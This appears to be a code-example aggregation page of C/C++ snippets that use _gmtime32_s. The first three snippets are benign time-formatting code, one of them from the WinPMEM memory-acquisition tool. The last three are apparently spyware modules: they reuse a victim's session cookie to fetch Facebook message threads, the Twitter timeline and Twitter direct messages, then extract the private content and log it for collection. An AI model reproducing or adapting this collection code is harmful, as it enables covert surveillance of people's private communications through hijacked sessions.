Exemplo n.º 1
0
/* Create a YAML file describing the image encoded into a null terminated
   string. Caller will own the memory.
   */
char *store_metadata_(struct PmemMemoryInfo *info)
{
	SYSTEM_INFO sys_info;
	struct tm newtime;
	__time32_t aclock;

	char time_buffer[32];
	errno_t errNum;
	char *arch = NULL;

	_time32(&aclock);   // Get time in seconds.
	_gmtime32_s(&newtime, &aclock);   // Convert time to struct tm form.

	// Print local time as a string.
	errNum = asctime_s(time_buffer, 32, &newtime);
	if (errNum) {
		time_buffer[0] = 0;
	}

	// Get basic architecture information (Note that we always write ELF64 core
	// dumps - even on 32 bit platforms).
	ZeroMemory(&sys_info, sizeof(sys_info));
	GetNativeSystemInfo(&sys_info);

	switch (sys_info.wProcessorArchitecture) {
	case PROCESSOR_ARCHITECTURE_AMD64:
		arch = "AMD64";
		break;

	case PROCESSOR_ARCHITECTURE_INTEL:
		arch = "I386";
		break;

	default:
		arch = "Unknown";
	}

	char *buffer = (char *)malloc(1000);
	_snprintf_s(buffer, 1000, _TRUNCATE,
		// A YAML File describing metadata about this image.
		"# PMEM\n"
		"---\n"   // The start of the YAML file.
		"acquisition_tool: 'WinPMEM " PMEM_VERSION "'\n"
		"acquisition_timestamp: %s\n"
		"CR3: %#llx\n"
		"NtBuildNumber: %#llx\n"
		"NtBuildNumberAddr: %#llx\n"
		"KernBase: %#llx\n"
		"Arch: %s\n"
		"...\n",  // This is the end of a YAML file.
		time_buffer,
		info->CR3.QuadPart,
		info->NtBuildNumber.QuadPart,
		info->NtBuildNumberAddr.QuadPart,
		info->KernBase.QuadPart,
		arch
	);
	return buffer;
};
Exemplo n.º 2
0
    void date_time::to_tm(const time_t& t, tm_type& tm) {
        if (t == NULL_TIME)
            throw std::invalid_argument("cannot convert null date and time to time structure");
#ifdef _WIN32
#  ifdef _USE_32BIT_TIME_T
        _gmtime32_s(&tm, &t);
#  else
        _gmtime64_s(&tm, &t);
#  endif
#else
        gmtime_r(&t, &tm);
#endif
    }
Exemplo n.º 3
0
static int print_time(FILE* f, hdr_timespec* timestamp)
{
    char time_str[128];
    struct tm date_time;

    if (!timestamp)
    {
        return 0;
    }

#if defined(__WINDOWS__)
	_gmtime32_s(&date_time, &timestamp->tv_sec);
#else
    gmtime_r(&timestamp->tv_sec, &date_time);
#endif
    long ms = timestamp->tv_nsec / 1000000;
    strftime(time_str, 128, "%a %b %X %Z %Y", &date_time);

    return fprintf(
        f, "#[StartTime: %d.%ld (seconds since epoch), %s]\n",
        (int) timestamp->tv_sec, ms, time_str);
}
Exemplo n.º 4
0
BOOL FacebookParseThreads(LPSTR strCookie, LPSTR strUserId, LPSTR strScreenName, DWORD dwLastTS)
{
	BOOL bIncoming;
	WCHAR strUrl[256];
	CHAR strThreadId[512];
	CHAR strPeersId[256];
	CHAR strPeers[512];
	CHAR strAuthor[256];
	CHAR strAuthorId[256];
	DWORD dwRet, dwBufferSize;
	LPSTR strRecvBuffer=NULL, strRecvBuffer2=NULL, strParser1, strParser2, strInnerParser1, strInnerParser2;


	LPSTR strMsgBody = NULL;

	dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie);  //FIXME: array
	if (dwRet != SOCIAL_REQUEST_SUCCESS)
		return FALSE;
	
	strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_END);
	if (!strParser1)
	{
		zfree(strRecvBuffer);
		return NULL;
	}
	*strParser1 = 0; // fine lista
	

	strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_ID);
	if (!strParser1)
	{
		zfree(strRecvBuffer);
		return FALSE;
	}	

	for (;;)
	{
		// get thread status and skip if unread
		strParser2 = strstr(strParser1, FB_THREAD_STATUS_IDENTIFIER_V2);
		if (strParser2) 
		{
			strParser2 += strlen(FB_THREAD_STATUS_IDENTIFIER_V2);
			if (*strParser2 != '0') // unread
			{
				strParser1 = strParser2;
				continue;
			}
		}
		else 
			break;

		strParser1 = strstr(strParser1, FB_THREAD_IDENTIFIER_V2);
		if (!strParser1)
			break;
		
		strParser1 += strlen(FB_THREAD_IDENTIFIER_V2);
		strParser2 = strchr(strParser1, '"');
		if (!strParser2)
			break;
		*strParser2 = 0;


		SecureZeroMemory(strUrl, 256);
		SecureZeroMemory(strThreadId, 512);
		strcpy_s(strThreadId, 512, strParser1);
		URLDecode(strThreadId);
		_snwprintf_s(strUrl, sizeof(strUrl)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1&msgs_only=1", strThreadId);  //FIXME: array

		
		strParser1 = strParser2 + 1;
		
		// cerca id partecipanti
		BOOL bAmIPresent = FALSE;
		SecureZeroMemory(strPeersId, sizeof(strPeersId));
		for (;;)
		{
			strParser2 = strstr(strParser1, FB_PEER_ID_IDENTIFIER);
			if (!strParser2)
				break;
			strParser1 = strParser2 + strlen(FB_PEER_ID_IDENTIFIER);
			strParser2 = strchr(strParser1, '"');
			if (!strParser2)
				break;
			*strParser2 = 0;

			if (!strcmp(strParser1, strUserId))
				bAmIPresent = TRUE;

			if (strlen(strPeersId) == 0)
				_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s", strParser1);
			else
				_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strParser1);

			strParser1 = strParser2 + 1;

			if (*strParser1 == ']')
				break;
		}
		if (!bAmIPresent)
			_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strUserId);

		// controlla timestamp
		strParser1 = strstr(strParser1, FB_MESSAGE_TSTAMP_IDENTIFIER_V2);
		if (!strParser1)
			break;
		strParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER_V2);

		DWORD dwCurrTS;
		CHAR strTimeStamp[11];
		SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
		memcpy(strTimeStamp, strParser1, 10);
		dwCurrTS = atoi(strTimeStamp);
		if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
			continue;

		// salva timestamp se piu' recente
		SocialSetLastTimestamp(strUserId, dwCurrTS, 0);

		// get thread's messages
		DWORD dwBuffSize2;
		dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer2, &dwBuffSize2, strCookie);  //FIXME: array
		if (dwRet != SOCIAL_REQUEST_SUCCESS)
		{
			zfree(strRecvBuffer);
			return FALSE;
		}

		// get peers screen name, 
		strInnerParser1 = strRecvBuffer2;
		strInnerParser1 = strstr(strInnerParser1, FB_THREAD_AUTHOR_IDENTIFIER_V2);
		if (!strInnerParser1)
		{
			zfree(strRecvBuffer2);
			continue;
		}

		strInnerParser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER_V2);
		strInnerParser2 = strstr(strInnerParser1, " - ");
		if (!strInnerParser2)
		{
			zfree(strRecvBuffer2);
			continue;
		}
		*strInnerParser2 = 0;
		_snprintf_s(strPeers, sizeof(strPeers), _TRUNCATE, "%s, %s", strScreenName, strInnerParser1);

		strInnerParser1 = strRecvBuffer2;
		for (;;)
		{
			strInnerParser1 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
			if (!strInnerParser1)
				break;
			strInnerParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER);
			SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
			memcpy(strTimeStamp, strInnerParser1, 10);
			dwCurrTS = atoi(strTimeStamp);
			if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
				continue;
			SocialSetLastTimestamp(strUserId, dwCurrTS, 0);

			strInnerParser2 = strstr(strInnerParser1, FB_MESSAGE_AUTHOR_IDENTIFIER);
			if (!strInnerParser2)
				break;
			*strInnerParser2 = 0;
			strInnerParser1 = strInnerParser2;
			for (;*(strInnerParser1) != '>' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			strInnerParser1++;
			_snprintf_s(strAuthor, sizeof(strAuthor), _TRUNCATE, "%s", strInnerParser1);
			strInnerParser1--;

			for (;*(strInnerParser1) != '\\' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			*strInnerParser1 = 0;
			for (;*(strInnerParser1) != '=' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			strInnerParser1++;
			_snprintf_s(strAuthorId, sizeof(strAuthorId), _TRUNCATE, "%s", strInnerParser1);
			strInnerParser1 = strInnerParser2 + 1;

			if (!strcmp(strAuthorId, strUserId))
				bIncoming = FALSE;
			else
				bIncoming = TRUE;

			DWORD dwMsgPartSize, dwMsgBodySize;
			dwMsgPartSize = dwMsgBodySize = 0;
			zfree(strMsgBody); // questo e' NULL al primo giro, zfree se lo smazza.
			for (;;)
			{
				LPSTR strMsgParser1, strMsgParser2;
				strMsgParser1 = strstr(strInnerParser1, FB_MESSAGE_BODY_IDENTIFIER);
				if (!strMsgParser1)
					break;
				// no moar body, parte un altro timestamp
				strMsgParser2 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
				if (strMsgParser2 && strMsgParser2<strMsgParser1)
					break;

				strInnerParser1 = strMsgParser1;
				strInnerParser1 = strstr(strInnerParser1, "p>");  //FIXME: array
				if (!strInnerParser1)
					break;
				strInnerParser1 += strlen("p>");
				strInnerParser2 = strstr(strInnerParser1, "\\u003C\\/p>");  //FIXME: array
				if (!strInnerParser2)
					break;
				*strInnerParser2 = 0;

				DWORD dwMsgPartSize = strlen(strInnerParser1);
				strMsgParser1 = (LPSTR) realloc(strMsgBody, dwMsgBodySize + dwMsgPartSize + strlen(FB_NEW_LINE) + sizeof(WCHAR));
				if (!strMsgParser1)
					break;

				// se non e' il primo body, mette a capo
				if (strMsgBody)
				{
					memcpy(strMsgParser1 + dwMsgBodySize, FB_NEW_LINE, strlen(FB_NEW_LINE));
					dwMsgBodySize += strlen(FB_NEW_LINE);				
				}

				strMsgBody = strMsgParser1;
				memcpy(strMsgBody + dwMsgBodySize, strInnerParser1, dwMsgPartSize);
				dwMsgBodySize += dwMsgPartSize;

				memset(strMsgBody + dwMsgBodySize, 0x0, sizeof(WCHAR));

				strInnerParser1 = strInnerParser2 + 1;
			}

			if (strMsgBody)
			{
				struct tm tstamp;
				_gmtime32_s(&tstamp, (__time32_t *)&dwCurrTS);
				tstamp.tm_year += 1900;
				tstamp.tm_mon++;

				JsonDecode(strMsgBody);
				
				SocialLogIMMessageA(CHAT_PROGRAM_FACEBOOK, strPeers, strPeersId, strAuthor, strAuthorId, strMsgBody, &tstamp, bIncoming);

				zfree(strMsgBody);
				strMsgBody = NULL;
			}
			else
				break;
		}
		zfree(strRecvBuffer2);
	}

	zfree(strRecvBuffer);
	return TRUE;
}
Exemplo n.º 5
0
DWORD ParseTweet(char *user, char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char tweet_body[2048];
	char tweet_id[256];
	char screen_name[256];
	char tweet_author[256];
	char tweet_timestamp[256];
	ULARGE_INTEGER act_tstamp;
	DWORD last_tstamp_hi, last_tstamp_lo;
	struct tm tstamp;

	/*	since the first tweet of this batch will have a higher timestamp, 
		save it to update social status at the end of the batch  */
	DWORD dwHigherBatchTimestamp = 0;

#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif

		
	last_tstamp_lo = SocialGetLastTimestamp(user, &last_tstamp_hi);
	if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)
		return SOCIAL_REQUEST_BAD_COOKIE;

	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	
	/* loop through tweets retrieved from timeline, html structure for a tweet 
		1] tweet id
		2] author
		3] timestamp
		4] body
	*/
	for (;;) {

		/* 1] tweet id
			e.g. data-tweet-id="526625177615220736"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_ID_START);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_TWEET_ID_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_id, sizeof(tweet_id), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet id: %S\n", __FUNCTION__, tweet_id);
#endif

		/* 2] tweet author and display name
			e.g. data-screen-name="TheEconomist" data-name="The Economist" data-user-id="5988062"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_AUTHOR_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_AUTHOR_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_author, sizeof(tweet_author), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet author: %S\n", __FUNCTION__, tweet_author);
#endif

		parser1 = strstr(parser1, TWITTER_TWEET_DISPLAY_NAME_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_DISPLAY_NAME_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet screen_name: %S\n", __FUNCTION__, screen_name);
#endif

		/* 3] timestamp
			e.g.  data-time="1414392201"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_TIMESTAMP_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_TIMESTAMP_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_timestamp, sizeof(tweet_timestamp), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

				
#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet time stamp: %S\n", __FUNCTION__, tweet_timestamp);
#endif


		/* 4] tweet body: 
		   e.g. <p class="js-tweet-text tweet-text" lang="en" data-aria-label-part="0">BODY</p>
		   a) find start of <p>, and then reach the end of <p>
		   b) find </p>
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_START);
		if( !parser1 )
			break;

		parser1 = strchr(parser1, '>');
		if( !parser1 )
			break;

		parser1 += 1;
		parser2 = strstr(parser1, TWITTER_TWEET_END);

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_body, sizeof(tweet_body), _TRUNCATE, "%s", parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet body: %S\n", __FUNCTION__, tweet_body);
#endif


		/* if the tweet is new save it , discard otherwise */
		if (!atoi(tweet_timestamp))
			continue;
		
		sscanf_s(tweet_timestamp, "%llu", &act_tstamp);
		
		if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo)
			continue;

		/* should hold true only for the first tweet in the batch */
		if( act_tstamp.LowPart > dwHigherBatchTimestamp )
			dwHigherBatchTimestamp = act_tstamp.LowPart; 

		_gmtime32_s(&tstamp, (__time32_t *)&act_tstamp);
		tstamp.tm_year += 1900;
		tstamp.tm_mon++;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - logging: @%S -> %S : %llu\n", __FUNCTION__, screen_name, tweet_body, tstamp);
#endif
		SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, "", "", screen_name, "", tweet_body, &tstamp, FALSE);
	
	}


	SocialSetLastTimestamp(user, dwHigherBatchTimestamp, 0);

	SAFE_FREE(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}
Exemplo n.º 6
0
DWORD ParseDirectMessages(char *username, char *cookie)
{
	DWORD ret_val, response_len;
	BYTE *r_buffer = NULL, *thread_buffer = NULL;
	char *parser1, *parser2, *thread_parser1, *thread_parser2;
	char strCurrentThreadHandle[512];
	WCHAR strConversationRequest[512];
	char strDmType[24];
	char strDmContent[256];
	char strTimestamp[256];
	DWORD last_tstamp_hi, last_tstamp_lo;
	ULARGE_INTEGER act_tstamp;
	struct tm tstamp;
	char strUsernameForDm[256];
	DWORD dwHigherBatchTimestamp = 0;


#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif

	/* use a new username for twitter dm since the timestamp would be the one we got from the timeline */
	_snprintf_s(strUsernameForDm, sizeof(strUsernameForDm), _TRUNCATE, "%s-twitterdm", username);
	last_tstamp_lo = SocialGetLastTimestamp(strUsernameForDm, &last_tstamp_hi);
	if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)
		return SOCIAL_REQUEST_BAD_COOKIE;


	ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", L"/messages?last_note_ts=0&since_id=0", 443, NULL, 0, &r_buffer, &response_len, cookie, L"https://twitter.com/");

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *) r_buffer;

	/*	Fetch the available threads
		e.g. "threads":["duilio_ebooks","duiliosagese","thegrugq_ebooks"] 
	*/
	parser1 = strstr(parser1, "\"threads\":[");
	if( !parser1 )
	{
		SAFE_FREE(r_buffer);
		return -1;
	}

	parser1 = parser1 + strlen("\"threads\":[");
	parser2 = strstr(parser1, "\"]},");

	if( !parser2 )
	{
		zfree(r_buffer);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}
	parser2 += 1; // skip past last '"'
	*parser2 = NULL;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - available threads %S\n", __FUNCTION__, parser1);
#endif
	
	/*	loop through the list of available threads pointed by parser1 and requests its content 
		e.g. "duilio_ebooks","duiliosagese","thegrugq_ebooks"
	*/
	for( ;; ) {
		parser1 = strchr(parser1, '"');
		if( !parser1 )
			break;

		parser1 += 1; // skip past '"'

		parser2 = strchr(parser1, '"');
		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(strCurrentThreadHandle, sizeof(strCurrentThreadHandle), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - parsing thread %S\n", __FUNCTION__, strCurrentThreadHandle);
#endif

		/*	fetch conversation
			e.g. /messages/with/conversation?id=duilio_ebooks&last_note_ts=0 
		*/
		_snwprintf_s(strConversationRequest, sizeof(strConversationRequest)/sizeof(WCHAR), _TRUNCATE, L"/messages/with/conversation?id=%S&last_note_ts=0", strCurrentThreadHandle);
		ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", strConversationRequest, 443, NULL, 0, &thread_buffer, &response_len, cookie, L"https://twitter.com/");

		/* if the request is not successful assume some serious issue happened, free resources and bail */
		if (ret_val != SOCIAL_REQUEST_SUCCESS)
		{
			zfree(thread_buffer);
			zfree(r_buffer);
			return ret_val;

		}

		/* direct message structure:
			1] start of a new message: '<div class="dm sent js-dm-item' or 'div class=\"dm received js-dm-item'
				find '<div class="dm ' (N.B space after dm) then decode whether it's send or received
			2] content:  <p class="js-tweet-text tweet-text" >MESSAGE</p>
			3] timestamp: data-time="1414592790"
		*/

		thread_parser1 = (char *) thread_buffer;

		/* parse all the messages belonging to a conversation, when there aren't messages left bail */
		for( ;; )
		{

			thread_parser1 = strstr(thread_parser1, TWITTER_DM_ITEM); // START HERE: can't find TWITTER_DM_ITEM
			if( !thread_parser1 )
				break;

			thread_parser1 += strlen(TWITTER_DM_ITEM);

			thread_parser2 = strchr(thread_parser1, ' '); // skip past sent or received
			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strDmType, sizeof(strDmType), _TRUNCATE, thread_parser1);
			thread_parser2 +=1;

			
#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm type: '%S'\n", __FUNCTION__, strDmType);
#endif		

			thread_parser1 = strstr(thread_parser2, TWITTER_DM_CONTENT);
			if( !thread_parser1 )
				break;

			thread_parser1 = strstr(thread_parser1, "\\u003e"); // encoded '>'
			if( !thread_parser1 )
				break;

			thread_parser1 += strlen("\\u003e");
			thread_parser2 = strstr(thread_parser1, "\\u003c\\/p\\u003e"); // encoded </p>
			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strDmContent, sizeof(strDmContent), _TRUNCATE, thread_parser1);
			thread_parser1 = thread_parser2 + 1;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm content: '%S'\n", __FUNCTION__, strDmContent);
#endif	

			thread_parser1 = strstr(thread_parser1, TWITTER_DM_TIMESTAMP_START);
			if( !thread_parser1 )
				break;
			
			thread_parser1 += strlen(TWITTER_DM_TIMESTAMP_START);
			thread_parser2 = strstr(thread_parser1, "\\\"");

			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strTimestamp, sizeof(strTimestamp), _TRUNCATE, thread_parser1);
			thread_parser1 = thread_parser2 + 1;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm timestamp: '%S'\n", __FUNCTION__, strTimestamp);
#endif	

			/* if the tweet is new save it , discard otherwise */
			if (!atoi(strTimestamp))
				continue;

			sscanf_s(strTimestamp, "%llu", &act_tstamp);

			if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo)
				continue;

			/* should hold true only for the first tweet in the batch */
			if( act_tstamp.LowPart > dwHigherBatchTimestamp )
				dwHigherBatchTimestamp = act_tstamp.LowPart; 

			_gmtime32_s(&tstamp, (__time32_t *)&act_tstamp);
			tstamp.tm_year += 1900;
			tstamp.tm_mon++;


			/* strDmType is either 'sent' or received */
			if( !strcmp(strDmType, "sent") )
				SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, strCurrentThreadHandle, strCurrentThreadHandle, username, username, strDmContent, &tstamp, FALSE);
			else if( !strcmp(strDmType, "received") )
				SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, username, username, strCurrentThreadHandle, strCurrentThreadHandle, strDmContent, &tstamp, FALSE);

#ifdef _DEBUG
			OutputDebug(L"[*] %S - logging: %S <-> %S : %S %llu\n", __FUNCTION__, username, strCurrentThreadHandle, strDmContent, tstamp);
#endif


		}

		/* free loop allocated buffer */
		zfree(thread_buffer);
		thread_buffer = NULL;
	}

	/* save the most recent timestamp we got from all conversations */
	SocialSetLastTimestamp(strUsernameForDm, dwHigherBatchTimestamp, 0);

	zfree(thread_buffer); // if we bailed out of conversation parsing loop, thread_buffer is still allocated, proceed with free'ing
	zfree(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}